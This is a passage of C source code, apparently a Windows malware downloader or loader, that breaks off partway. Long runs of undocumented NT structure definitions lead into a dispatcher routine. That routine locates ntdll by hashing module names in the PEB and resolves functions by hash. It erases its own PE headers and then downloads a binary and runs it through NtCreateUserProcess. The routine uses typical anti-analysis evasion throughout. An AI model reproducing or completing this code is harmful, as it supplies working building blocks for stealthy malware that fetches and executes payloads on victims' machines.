    ULONG                   OSMajorVersion;
    ULONG                   OSMinorVersion;
    ULONG                   OSBuildNumber;
    ULONG                   OSPlatformId;
    ULONG                   ImageSubSystem;
    ULONG                   ImageSubSystemMajorVersion;
    ULONG                   ImageSubSystemMinorVersion;
    ULONG                   GdiHandleBuffer[0x22];
    ULONG                   PostProcessInitRoutine;
    ULONG                   TlsExpansionBitmap;
    BYTE                    TlsExpansionBitmapBits[0x80];
    ULONG                   SessionId;
} PEB, * PPEB;

typedef struct __CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
}CLIENT_ID, * PCLIENT_ID;

typedef PVOID PACTIVATION_CONTEXT;

typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
    struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
    PACTIVATION_CONTEXT ActivationContext;
    ULONG Flags;
} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;

typedef struct _ACTIVATION_CONTEXT_STACK {
    PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
    LIST_ENTRY FrameListCache;
    ULONG Flags;
    ULONG NextCookieSequenceNumber;
    ULONG StackId;
} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;

typedef struct _GDI_TEB_BATCH {
    ULONG Offset;
    ULONG HDC;
    ULONG Buffer[310];
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;

typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
    ULONG Flags;
    PCHAR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;

typedef struct _TEB_ACTIVE_FRAME {
    ULONG Flags;
    struct _TEB_ACTIVE_FRAME* Previous;
    PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;

typedef struct _TEB
{
    NT_TIB                NtTib;
    PVOID                EnvironmentPointer;
    CLIENT_ID            ClientId;
    PVOID                ActiveRpcHandle;
    PVOID                ThreadLocalStoragePointer;
    PPEB                ProcessEnvironmentBlock;
    ULONG               LastErrorValue;
    ULONG               CountOfOwnedCriticalSections;
    PVOID                CsrClientThread;
    PVOID                Win32ThreadInfo;
    ULONG               User32Reserved[26];
    ULONG               UserReserved[5];
    PVOID                WOW32Reserved;
    LCID                CurrentLocale;
    ULONG               FpSoftwareStatusRegister;
    PVOID                SystemReserved1[54];
    LONG                ExceptionCode;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
    PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
    UCHAR                  SpareBytes1[0x30 - 3 * sizeof(PVOID)];
    ULONG                  TxFsContext;
#elif (NTDDI_VERSION >= NTDDI_WS03)
    PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
    UCHAR                  SpareBytes1[0x34 - 3 * sizeof(PVOID)];
#else
    ACTIVATION_CONTEXT_STACK ActivationContextStack;
    UCHAR                  SpareBytes1[24];
#endif
    GDI_TEB_BATCH            GdiTebBatch;
    CLIENT_ID                RealClientId;
    PVOID                    GdiCachedProcessHandle;
    ULONG                   GdiClientPID;
    ULONG                   GdiClientTID;
    PVOID                    GdiThreadLocalInfo;
    PSIZE_T                    Win32ClientInfo[62];
    PVOID                    glDispatchTable[233];
    PSIZE_T                    glReserved1[29];
    PVOID                    glReserved2;
    PVOID                    glSectionInfo;
    PVOID                    glSection;
    PVOID                    glTable;
    PVOID                    glCurrentRC;
    PVOID                    glContext;
    NTSTATUS                LastStatusValue;
    UNICODE_STRING            StaticUnicodeString;
    WCHAR                   StaticUnicodeBuffer[261];
    PVOID                    DeallocationStack;
    PVOID                    TlsSlots[64];
    LIST_ENTRY                TlsLinks;
    PVOID                    Vdm;
    PVOID                    ReservedForNtRpc;
    PVOID                    DbgSsReserved[2];
#if (NTDDI_VERSION >= NTDDI_WS03)
    ULONG                   HardErrorMode;
#else
    ULONG                  HardErrorsAreDisabled;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
    PVOID                    Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
    GUID                    ActivityId;
    PVOID                    SubProcessTag;
    PVOID                    EtwLocalData;
    PVOID                    EtwTraceData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
    PVOID                    Instrumentation[14];
    PVOID                    SubProcessTag;
    PVOID                    EtwLocalData;
#else
    PVOID                    Instrumentation[16];
#endif
    PVOID                    WinSockData;
    ULONG                    GdiBatchCount;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
    BOOLEAN                SpareBool0;
    BOOLEAN                SpareBool1;
    BOOLEAN                SpareBool2;
#else
    BOOLEAN                InDbgPrint;
    BOOLEAN                FreeStackOnTermination;
    BOOLEAN                HasFiberData;
#endif
    UCHAR                  IdealProcessor;
#if (NTDDI_VERSION >= NTDDI_WS03)
    ULONG                  GuaranteedStackBytes;
#else
    ULONG                  Spare3;
#endif
    PVOID                   ReservedForPerf;
    PVOID                   ReservedForOle;
    ULONG                  WaitingOnLoaderLock;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
    PVOID                   SavedPriorityState;
    ULONG_PTR               SoftPatchPtr1;
    ULONG_PTR               ThreadPoolData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
    ULONG_PTR               SparePointer1;
    ULONG_PTR              SoftPatchPtr1;
    ULONG_PTR              SoftPatchPtr2;
#else
    Wx86ThreadState        Wx86Thread;
#endif
    PVOID* TlsExpansionSlots;
#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
    PVOID                  DeallocationBStore;
    PVOID                  BStoreLimit;
#endif
    ULONG                  ImpersonationLocale;
    ULONG                  IsImpersonating;
    PVOID                  NlsCache;
    PVOID                  pShimData;
    ULONG                  HeapVirtualAffinity;
    HANDLE                 CurrentTransactionHandle;
    PTEB_ACTIVE_FRAME      ActiveFrame;
#if (NTDDI_VERSION >= NTDDI_WS03)
    PVOID FlsData;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
    PVOID PreferredLangauges;
    PVOID UserPrefLanguages;
    PVOID MergedPrefLanguages;
    ULONG MuiImpersonation;
    union
    {
        struct
        {
            USHORT SpareCrossTebFlags : 16;
        };
        USHORT CrossTebFlags;
    };
    union
    {
        struct
        {
            USHORT DbgSafeThunkCall : 1;
            USHORT DbgInDebugPrint : 1;
            USHORT DbgHasFiberData : 1;
            USHORT DbgSkipThreadAttach : 1;
            USHORT DbgWerInShipAssertCode : 1;
            USHORT DbgIssuedInitialBp : 1;
            USHORT DbgClonedThread : 1;
            USHORT SpareSameTebBits : 9;
        };
        USHORT SameTebFlags;
    };
    PVOID TxnScopeEntercallback;
    PVOID TxnScopeExitCAllback;
    PVOID TxnScopeContext;
    ULONG LockCount;
    ULONG ProcessRundown;
    ULONG64 LastSwitchTime;
    ULONG64 TotalSwitchOutTime;
    LARGE_INTEGER WaitReasonBitMap;
#else
    BOOLEAN SafeThunkCall;
    BOOLEAN BooleanSpare[3];
#endif
} TEB, * PTEB;

typedef struct _KSYSTEM_TIME
{
    ULONG LowPart;
    LONG High1Time;
    LONG High2Time;
} KSYSTEM_TIME, * PKSYSTEM_TIME;

typedef enum _NT_PRODUCT_TYPE
{
    NtProductWinNt = 1,
    NtProductLanManNt = 2,
    NtProductServer = 3
} NT_PRODUCT_TYPE;

typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE
{
    StandardDesign = 0,
    NEC98x86 = 1,
    EndAlternatives = 2
} ALTERNATIVE_ARCHITECTURE_TYPE;

typedef struct _KUSER_SHARED_DATA {
    ULONG                         TickCountLowDeprecated;
    ULONG                         TickCountMultiplier;
    KSYSTEM_TIME                  InterruptTime;
    KSYSTEM_TIME                  SystemTime;
    KSYSTEM_TIME                  TimeZoneBias;
    USHORT                        ImageNumberLow;
    USHORT                        ImageNumberHigh;
    WCHAR                         NtSystemRoot[260];
    ULONG                         MaxStackTraceDepth;
    ULONG                         CryptoExponent;
    ULONG                         TimeZoneId;
    ULONG                         LargePageMinimum;
    ULONG                         AitSamplingValue;
    ULONG                         AppCompatFlag;
    ULONGLONG                     RNGSeedVersion;
    ULONG                         GlobalValidationRunlevel;
    LONG                          TimeZoneBiasStamp;
    ULONG                         NtBuildNumber;
    NT_PRODUCT_TYPE               NtProductType;
    BOOLEAN                       ProductTypeIsValid;
    BOOLEAN                       Reserved0[1];
    USHORT                        NativeProcessorArchitecture;
    ULONG                         NtMajorVersion;
    ULONG                         NtMinorVersion;
    BOOLEAN                       ProcessorFeatures[64];
    ULONG                         Reserved1;
    ULONG                         Reserved3;
    ULONG                         TimeSlip;
    ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture;
    ULONG                         BootId;
    LARGE_INTEGER                 SystemExpirationDate;
    ULONG                         SuiteMask;
    BOOLEAN                       KdDebuggerEnabled;
    union {
        UCHAR MitigationPolicies;
        struct {
            UCHAR NXSupportPolicy : 2;
            UCHAR SEHValidationPolicy : 2;
            UCHAR CurDirDevicesSkippedForDlls : 2;
            UCHAR Reserved : 2;
        };
    };
    USHORT                        CyclesPerYield;
    ULONG                         ActiveConsoleId;
    ULONG                         DismountCount;
    ULONG                         ComPlusPackage;
    ULONG                         LastSystemRITEventTickCount;
    ULONG                         NumberOfPhysicalPages;
    BOOLEAN                       SafeBootMode;
    UCHAR                         VirtualizationFlags;
    UCHAR                         Reserved12[2];
    union {
        ULONG SharedDataFlags;
        struct {
            ULONG DbgErrorPortPresent : 1;
            ULONG DbgElevationEnabled : 1;
            ULONG DbgVirtEnabled : 1;
            ULONG DbgInstallerDetectEnabled : 1;
            ULONG DbgLkgEnabled : 1;
            ULONG DbgDynProcessorEnabled : 1;
            ULONG DbgConsoleBrokerEnabled : 1;
            ULONG DbgSecureBootEnabled : 1;
            ULONG DbgMultiSessionSku : 1;
            ULONG DbgMultiUsersInSessionSku : 1;
            ULONG DbgStateSeparationEnabled : 1;
            ULONG SpareBits : 21;
        } DUMMYSTRUCTNAME2;
    } DUMMYUNIONNAME2;
    ULONG                         DataFlagsPad[1];
    ULONGLONG                     TestRetInstruction;
    LONGLONG                      QpcFrequency;
    ULONG                         SystemCall;
    ULONG                         Reserved2;
    ULONGLONG                     SystemCallPad[2];
    union {
        KSYSTEM_TIME TickCount;
        ULONG64      TickCountQuad;
        struct {
            ULONG ReservedTickCountOverlay[3];
            ULONG TickCountPad[1];
        } DUMMYSTRUCTNAME;
    } DUMMYUNIONNAME3;
    ULONG                         Cookie;
    ULONG                         CookiePad[1];
    LONGLONG                      ConsoleSessionForegroundProcessId;
    ULONGLONG                     TimeUpdateLock;
    ULONGLONG                     BaselineSystemTimeQpc;
    ULONGLONG                     BaselineInterruptTimeQpc;
    ULONGLONG                     QpcSystemTimeIncrement;
    ULONGLONG                     QpcInterruptTimeIncrement;
    UCHAR                         QpcSystemTimeIncrementShift;
    UCHAR                         QpcInterruptTimeIncrementShift;
    USHORT                        UnparkedProcessorCount;
    ULONG                         EnclaveFeatureMask[4];
    ULONG                         TelemetryCoverageRound;
    USHORT                        UserModeGlobalLogger[16];
    ULONG                         ImageFileExecutionOptions;
    ULONG                         LangGenerationCount;
    ULONGLONG                     Reserved4;
    ULONGLONG                     InterruptTimeBias;
    ULONGLONG                     QpcBias;
    ULONG                         ActiveProcessorCount;
    UCHAR                         ActiveGroupCount;
    UCHAR                         Reserved9;
    union {
        USHORT QpcData;
        struct {
            UCHAR QpcBypassEnabled;
            UCHAR QpcShift;
        };
    };
    LARGE_INTEGER                 TimeZoneBiasEffectiveStart;
    LARGE_INTEGER                 TimeZoneBiasEffectiveEnd;
    XSTATE_CONFIGURATION          XState;
    KSYSTEM_TIME                  FeatureConfigurationChangeStamp;
    ULONG                         Spare;
} KUSER_SHARED_DATA, * PKUSER_SHARED_DATA;

typedef enum _FILE_INFORMATION_CLASS {
    FileDirectoryInformation = 1,
    FileFullDirectoryInformation,                   // 2
    FileBothDirectoryInformation,                   // 3
    FileBasicInformation,                           // 4
    FileStandardInformation,                        // 5
    FileInternalInformation,                        // 6
    FileEaInformation,                              // 7
    FileAccessInformation,                          // 8
    FileNameInformation,                            // 9
    FileRenameInformation,                          // 10
    FileLinkInformation,                            // 11
    FileNamesInformation,                           // 12
    FileDispositionInformation,                     // 13
    FilePositionInformation,                        // 14
    FileFullEaInformation,                          // 15
    FileModeInformation,                            // 16
    FileAlignmentInformation,                       // 17
    FileAllInformation,                             // 18
    FileAllocationInformation,                      // 19
    FileEndOfFileInformation,                       // 20
    FileAlternateNameInformation,                   // 21
    FileStreamInformation,                          // 22
    FilePipeInformation,                            // 23
    FilePipeLocalInformation,                       // 24
    FilePipeRemoteInformation,                      // 25
    FileMailslotQueryInformation,                   // 26
    FileMailslotSetInformation,                     // 27
    FileCompressionInformation,                     // 28
    FileObjectIdInformation,                        // 29
    FileCompletionInformation,                      // 30
    FileMoveClusterInformation,                     // 31
    FileQuotaInformation,                           // 32
    FileReparsePointInformation,                    // 33
    FileNetworkOpenInformation,                     // 34
    FileAttributeTagInformation,                    // 35
    FileTrackingInformation,                        // 36
    FileIdBothDirectoryInformation,                 // 37
    FileIdFullDirectoryInformation,                 // 38
    FileValidDataLengthInformation,                 // 39
    FileShortNameInformation,                       // 40
    FileIoCompletionNotificationInformation,        // 41
    FileIoStatusBlockRangeInformation,              // 42
    FileIoPriorityHintInformation,                  // 43
    FileSfioReserveInformation,                     // 44
    FileSfioVolumeInformation,                      // 45
    FileHardLinkInformation,                        // 46
    FileProcessIdsUsingFileInformation,             // 47
    FileNormalizedNameInformation,                  // 48
    FileNetworkPhysicalNameInformation,             // 49
    FileIdGlobalTxDirectoryInformation,             // 50
    FileIsRemoteDeviceInformation,                  // 51
    FileUnusedInformation,                          // 52
    FileNumaNodeInformation,                        // 53
    FileStandardLinkInformation,                    // 54
    FileRemoteProtocolInformation,                  // 55
    FileRenameInformationBypassAccessCheck,         // 56
    FileLinkInformationBypassAccessCheck,           // 57
    FileVolumeNameInformation,                      // 58
    FileIdInformation,                              // 59
    FileIdExtdDirectoryInformation,                 // 60
    FileReplaceCompletionInformation,               // 61
    FileHardLinkFullIdInformation,                  // 62
    FileIdExtdBothDirectoryInformation,             // 63
    FileDispositionInformationEx,                   // 64
    FileRenameInformationEx,                        // 65
    FileRenameInformationExBypassAccessCheck,       // 66
    FileDesiredStorageClassInformation,             // 67
    FileStatInformation,                            // 68
    FileMemoryPartitionInformation,                 // 69
    FileStatLxInformation,                          // 70
    FileCaseSensitiveInformation,                   // 71
    FileLinkInformationEx,                          // 72
    FileLinkInformationExBypassAccessCheck,         // 73
    FileStorageReserveIdInformation,                // 74
    FileCaseSensitiveInformationForceAccessCheck,   // 75
    FileMaximumInformation
} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID    Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef struct _OBJECT_ATTRIBUTES
{
    ULONG Length;
    PVOID RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _RTLP_CURDIR_REF* PRTLP_CURDIR_REF;

typedef struct _RTL_RELATIVE_NAME_U {
    UNICODE_STRING RelativeName;
    HANDLE ContainingDirectory;
    PRTLP_CURDIR_REF CurDirRef;
} RTL_RELATIVE_NAME_U, * PRTL_RELATIVE_NAME_U;

#define PS_ATTRIBUTE_NUMBER_MASK    0x0000ffff
#define PS_ATTRIBUTE_THREAD         0x00010000
#define PS_ATTRIBUTE_INPUT          0x00020000
#define PS_ATTRIBUTE_ADDITIVE       0x00040000

typedef enum _PS_ATTRIBUTE_NUM
{
    PsAttributeParentProcess,
    PsAttributeDebugPort,
    PsAttributeToken,
    PsAttributeClientId,
    PsAttributeTebAddress,
    PsAttributeImageName,
    PsAttributeImageInfo,
    PsAttributeMemoryReserve,
    PsAttributePriorityClass,
    PsAttributeErrorMode,
    PsAttributeStdHandleInfo,
    PsAttributeHandleList,
    PsAttributeGroupAffinity,
    PsAttributePreferredNode,
    PsAttributeIdealProcessor,
    PsAttributeUmsThread,
    PsAttributeMitigationOptions,
    PsAttributeProtectionLevel,
    PsAttributeSecureProcess,
    PsAttributeJobList,
    PsAttributeChildProcessPolicy,
    PsAttributeAllApplicationPackagesPolicy,
    PsAttributeWin32kFilter,
    PsAttributeSafeOpenPromptOriginClaim,
    PsAttributeBnoIsolation,
    PsAttributeDesktopAppPolicy,
    PsAttributeMax
} PS_ATTRIBUTE_NUM;

#define PsAttributeValue(Number, Thread, Input, Additive) \
    (((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \
    ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \
    ((Input) ? PS_ATTRIBUTE_INPUT : 0) | \
    ((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0))

#define RTL_USER_PROCESS_PARAMETERS_NORMALIZED              0x01
#define PS_ATTRIBUTE_IMAGE_NAME \
    PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE)

typedef struct _PS_ATTRIBUTE
{
    ULONG_PTR Attribute;
    SIZE_T Size;
    union
    {
        ULONG_PTR Value;
        PVOID ValuePtr;
    };
    PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _PS_ATTRIBUTE_LIST
{
    SIZE_T TotalLength;
    PS_ATTRIBUTE Attributes[2];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

typedef enum _PS_CREATE_STATE
{
    PsCreateInitialState,
    PsCreateFailOnFileOpen,
    PsCreateFailOnSectionCreate,
    PsCreateFailExeFormat,
    PsCreateFailMachineMismatch,
    PsCreateFailExeName,
    PsCreateSuccess,
    PsCreateMaximumStates
} PS_CREATE_STATE;

typedef struct _PS_CREATE_INFO {
    SIZE_T Size;
    PS_CREATE_STATE State;
    union {
        struct {
            union {
                ULONG InitFlags;
                struct {
                    UCHAR WriteOutputOnExit : 1;
                    UCHAR DetectManifest : 1;
                    UCHAR IFEOSkipDebugger : 1;
                    UCHAR IFEODoNotPropagateKeyState : 1;
                    UCHAR SpareBits1 : 4;
                    UCHAR SpareBits2 : 8;
                    USHORT ProhibitedImageCharacteristics : 16;
                } s1;
            } u1;
            ACCESS_MASK AdditionalFileAccess;
        } InitState;
        struct { HANDLE FileHandle; } FailSection;
        struct { USHORT DllCharacteristics; } ExeFormat;
        struct { HANDLE IFEOKey; } ExeName;
        struct {
            union {
                ULONG OutputFlags;
                struct {
                    UCHAR ProtectedProcess : 1;
                    UCHAR AddressSpaceOverride : 1;
                    UCHAR DevOverrideEnabled : 1;
                    UCHAR ManifestDetected : 1;
                    UCHAR ProtectedProcessLight : 1;
                    UCHAR SpareBits1 : 3;
                    UCHAR SpareBits2 : 8;
                    USHORT SpareBits3 : 16;
                } s2;
            } u2;
            HANDLE FileHandle;
            HANDLE SectionHandle;
            ULONGLONG UserProcessParametersNative;
            ULONG UserProcessParametersWow64;
            ULONG CurrentParameterFlags;
            ULONGLONG PebAddressNative;
            ULONG PebAddressWow64;
            ULONGLONG ManifestAddress;
            ULONG ManifestSize;
        } SuccessState;
    };
} PS_CREATE_INFO, * PPS_CREATE_INFO;

typedef NTSTATUS(NTAPI* NTCREATEUSERPROCESS)(PHANDLE, PHANDLE, ACCESS_MASK, ACCESS_MASK, POBJECT_ATTRIBUTES, POBJECT_ATTRIBUTES, ULONG, ULONG, PRTL_USER_PROCESS_PARAMETERS, PPS_CREATE_INFO, PPS_ATTRIBUTE_LIST);
typedef NTSTATUS(NTAPI* LDRLOADDLL)(PWSTR, PULONG, PUNICODE_STRING, PVOID);
typedef NTSTATUS(NTAPI* NTCREATEFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
typedef NTSTATUS(NTAPI* NTCLOSE)(HANDLE);
typedef NTSTATUS(NTAPI* NTWRITEFILE)(HANDLE, HANDLE, PVOID, PVOID, PIO_STATUS_BLOCK, PVOID, ULONG, PLARGE_INTEGER, PULONG);
typedef NTSTATUS(NTAPI* NTALLOCATEVIRTUALMEMORY)(HANDLE, PVOID, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS(NTAPI* NTFREEVIRTUALMEMORY)(HANDLE, PVOID, PSIZE_T, ULONG);
typedef NTSTATUS(NTAPI* NTDEVICEIOCONTROLFILE)(HANDLE, HANDLE, PVOID, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
typedef NTSTATUS(NTAPI* NTTERMINATEPROCESS)(HANDLE, ULONG);


typedef HRESULT(WINAPI* COINITIALIZEEX)(LPVOID, DWORD);
typedef VOID(WINAPI* COUNINITIALIZE)(VOID);
typedef HRESULT(WINAPI* COCREATEINSTANCE)(REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID*);
typedef HRESULT(WINAPI* COINITIALIZESECURITY)(PSECURITY_DESCRIPTOR, LONG, PSOLE_AUTHENTICATION_SERVICE, PVOID, DWORD, DWORD, PVOID, DWORD, PVOID);

typedef VOID(WINAPI* SYSFREESTRING)(BSTR);

typedef enum SWITCH_FUNCTIONS {
    EntryPoint,                                //0
    GetGeneralInformation,                    //1
    GetNtdllBaseAddress,                    //2
    ExitApplication,                        //3
    HashStringFowlerNollVoVariant1aW,        //4
    GetProcAddressByHash,                    //5
    RtlLoadPeHeaders,                        //6
    CharStringToWCharString,                //7
    StringLength,                            //8
    ExecuteBinary,                            //9
    PopulateNtFunctionPointers,                //10
    CreateProcessParameters,                //11
    CopyParameters,                            //12
    QueryEnvironmentVariables,                //13
    NullPeHeaders,                            //14
    CreateDownloadPath,                        //15
    PopulateComFunctionPointers,            //16
    GetTickCountAsDword,                    //17
    DownloadBinary,                            //18
    LoadComLibraries,                        //19
    GetSysFreeString,                        //20
    UnloadDll,                                //21
    RemoveListEntry,                        //22
    RemoveComData,                            //23
    CheckRemoteHost,                        //24
    SafelyExitCom,                            //25
    CheckLocalMachinesInternetStatus,        //26
    ZeroFillData,                            //27
    Win32FromHResult                        //28
}SWITCH_FUNCTIONS, *PSWITCH_FUNCTIONS;

typedef struct _COPY_PARAMETERS {
    PWSTR d;
    PUNICODE_STRING Destination;
    PUNICODE_STRING Source;
    ULONG Size;
}COPY_PARAMETERS, *PCOPY_PARAMETERS;

typedef struct _ENVIRONMENT_DATA {
    UNICODE_STRING Name;
    PWSTR Environment;
}ENVIRONMENT_DATA, *PENVIRONMENT_DATA;

typedef struct COM_FUNCTIONS{
    COINITIALIZEEX CoInitializeEx;
    COUNINITIALIZE CoUninitialize;
    COCREATEINSTANCE CoCreateInstance;
    SYSFREESTRING SysFreeString;
    COINITIALIZESECURITY CoInitializeSecurity;
}COM_FUNCTIONS, *PCOM_FUNCTIONS;

typedef struct NT_FUNCTIONS {
    NTCREATEUSERPROCESS NtCreateUserProcess;
    LDRLOADDLL LdrLoadDll;
    NTCREATEFILE NtCreateFile;
    NTCLOSE NtClose;
    NTWRITEFILE NtWriteFile;
    NTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory;
    NTFREEVIRTUALMEMORY NtFreeVirtualMemory;
    NTDEVICEIOCONTROLFILE NtDeviceIoControlFile;
    NTTERMINATEPROCESS NtTerminateProcess;
}NT_FUNCTIONS, *PNT_FUNCTIONS;

typedef struct COM_VARIABLES {
    IWbemLocator* Locator;
    IWbemServices* Services;
    IEnumWbemClassObject* Enum;
    IWbemClassObject* Ping;
    INetworkListManager* NetworkManager;
    IWinHttpRequest* HttpRequest;
    BSTR ResponseData;
}COM_VARIABLES, *PCOM_VARIABLES;

typedef struct COM_HELPER {
    BOOL IsComInitialized;
    HRESULT ComResult;
    COM_FUNCTIONS ComFunction;
    COM_VARIABLES ComVariables;
}COM_HELPER, *PCOM_HELPER;

typedef struct LOADER_HELPER {
    HMODULE hMod;
    PIMAGE_DOS_HEADER Dos;
    PIMAGE_NT_HEADERS Nt;
    PIMAGE_FILE_HEADER File;
    PIMAGE_OPTIONAL_HEADER Optional;
}LOADER_HELPER, *PLOADER_HELPER;


typedef struct DATA_TABLE {
    PWCHAR WideStringPointer1;
    PCHAR StringPointer1;
    UNICODE_STRING UnicodeString;
    WCHAR UnicodeStringBuffer[MAX_PATH * sizeof(WCHAR)];
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID UserProcessParametersBuffer[4096];
    PVOID Destination;
}DATA_TABLE, *PDATA_TABLE;

typedef struct ZERO_FILL_HELPER {
    PVOID Destination;
    SIZE_T Size;
}ZERO_FILL_HELPER, *PZERO_FILL_HELPER;

typedef struct _VARIABLE_TABLE {
    NTSTATUS Status;
    BOOL bFlag;
    DWORD64 dwError;
    PPEB Peb;
    PTEB Teb;
    
    //Function calling
    DWORD dwReturn;
    DWORD dwGeneralUsage1;

    //helper structures
    COPY_PARAMETERS Copy;
    ENVIRONMENT_DATA EnvironmentData;
    HANDLE hHandle;
    PLIST_ENTRY Entry;

    //Functions
    DATA_TABLE GeneralData;
    NT_FUNCTIONS NtFunctions;
    LOADER_HELPER LoaderHelper;
    COM_HELPER ComHelper;
    ZERO_FILL_HELPER ZeroFill;

}VARIABLE_TABLE, *PVARIABLE_TABLE;

LPVOID RecursiveExecutor(DWORD dwEnum, PVARIABLE_TABLE Table)
{
    if (Table->dwError != ERROR_SUCCESS || Table->Status != STATUS_SUCCESS)
        return (LPVOID)Table->dwError;

    switch (dwEnum)
    {
        case EntryPoint:
        {
            Table->ZeroFill.Destination = Table;
            Table->ZeroFill.Size = sizeof(VARIABLE_TABLE);
            RecursiveExecutor(ZeroFillData, Table);

            Table->dwError = 0; Table->dwGeneralUsage1 = 0;

            RecursiveExecutor(GetGeneralInformation, Table);
        
            Table->GeneralData.UnicodeString.Buffer = Table->GeneralData.UnicodeStringBuffer;
            Table->GeneralData.UnicodeString.Length = (MAX_PATH * sizeof(WCHAR));
            Table->GeneralData.UnicodeString.MaximumLength = (MAX_PATH * sizeof(WCHAR) + 1);

            RecursiveExecutor(CreateDownloadPath, Table);

            RecursiveExecutor(DownloadBinary, Table);

            RecursiveExecutor(ExecuteBinary, Table);

            RecursiveExecutor(ExitApplication, Table);

            break;
        }

        case GetGeneralInformation:
        {
            Table->Teb = (PTEB)__readgsqword(0x30);
            Table->Peb = (PPEB)Table->Teb->ProcessEnvironmentBlock;

            Table->dwGeneralUsage1 = 0xa62a3b3b;
            RecursiveExecutor(GetNtdllBaseAddress, Table);

            RecursiveExecutor(NullPeHeaders, Table);

            break;
        }

        case GetNtdllBaseAddress:
        {
            PLDR_MODULE Module = NULL;
            PLIST_ENTRY Head = &Table->Peb->LoaderData->InMemoryOrderModuleList;
            PLIST_ENTRY Next = Head->Flink;
            Module = (PLDR_MODULE)((PBYTE)Next - 16);

            while (Next != Head)
            {
                Module = (PLDR_MODULE)((PBYTE)Next - 16);
                if (Module->BaseDllName.Buffer != NULL)
                {
                    Table->GeneralData.WideStringPointer1 = Module->BaseDllName.Buffer;

                    RecursiveExecutor(HashStringFowlerNollVoVariant1aW, Table);

                    if (Table->dwReturn == Table->dwGeneralUsage1)
                    {
                        Table->LoaderHelper.hMod = (HMODULE)Module->BaseAddress;
                        RecursiveExecutor(PopulateNtFunctionPointers, Table);

                        if (!Table->NtFunctions.NtCreateUserProcess || !Table->NtFunctions.LdrLoadDll)
                            RecursiveExecutor(ExitApplication, Table);

                        if(!Table->NtFunctions.NtClose || !Table->NtFunctions.NtCreateFile)
                            RecursiveExecutor(ExitApplication, Table);

                        if(!Table->NtFunctions.NtWriteFile || !Table->NtFunctions.NtAllocateVirtualMemory)
                            RecursiveExecutor(ExitApplication, Table);

                        if(!Table->NtFunctions.NtFreeVirtualMemory || !Table->NtFunctions.NtTerminateProcess)
                            RecursiveExecutor(ExitApplication, Table);
                        
                        break;
                    }
                }

                Next = Next->Flink;
            }

            break;
        }

        case ExitApplication:
        {
            if (!Table->NtFunctions.NtTerminateProcess)
                while (TRUE); //fatal error...

            if (Table->ComHelper.ComResult == S_OK || Table->Status == STATUS_SUCCESS)
                Table->dwError = ERROR_INVALID_DATA;

            if (Table->Status != STATUS_SUCCESS)
                Table->dwError = ERROR_PRINTQ_FULL; //lol

            if (Table->ComHelper.ComResult != S_OK)
                RecursiveExecutor(Win32FromHResult, Table);

            if (Table->ComHelper.IsComInitialized)
            {
                RecursiveExecutor(SafelyExitCom, Table);
                Table->ComHelper.ComFunction.CoUninitialize();

                RecursiveExecutor(RemoveComData, Table);

                Table->ComHelper.IsComInitialized = FALSE;
            }

            Table->NtFunctions.NtTerminateProcess(NULL, Table->dwError);
            Table->NtFunctions.NtTerminateProcess(((HANDLE)-1), Table->dwError);
                
            return (LPVOID)Table->dwError;
        }

        case HashStringFowlerNollVoVariant1aW:
        {
            ULONG Hash = 0x811c9dc5;

            while (*Table->GeneralData.WideStringPointer1)
            {
                Hash ^= (UCHAR)*Table->GeneralData.WideStringPointer1++;
                Hash *= 0x01000193;
            }

            Table->dwReturn = Hash;

            break;
        }

        case GetProcAddressByHash:
        {
            PBYTE pFunctionName = NULL;
            DWORD64 FunctionAddress = ERROR_SUCCESS;
            PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
            PDWORD FunctionNameAddressArray;
            PDWORD FunctionAddressArray;
            PWORD FunctionOrdinalAddressArray;

            RecursiveExecutor(RtlLoadPeHeaders, Table);
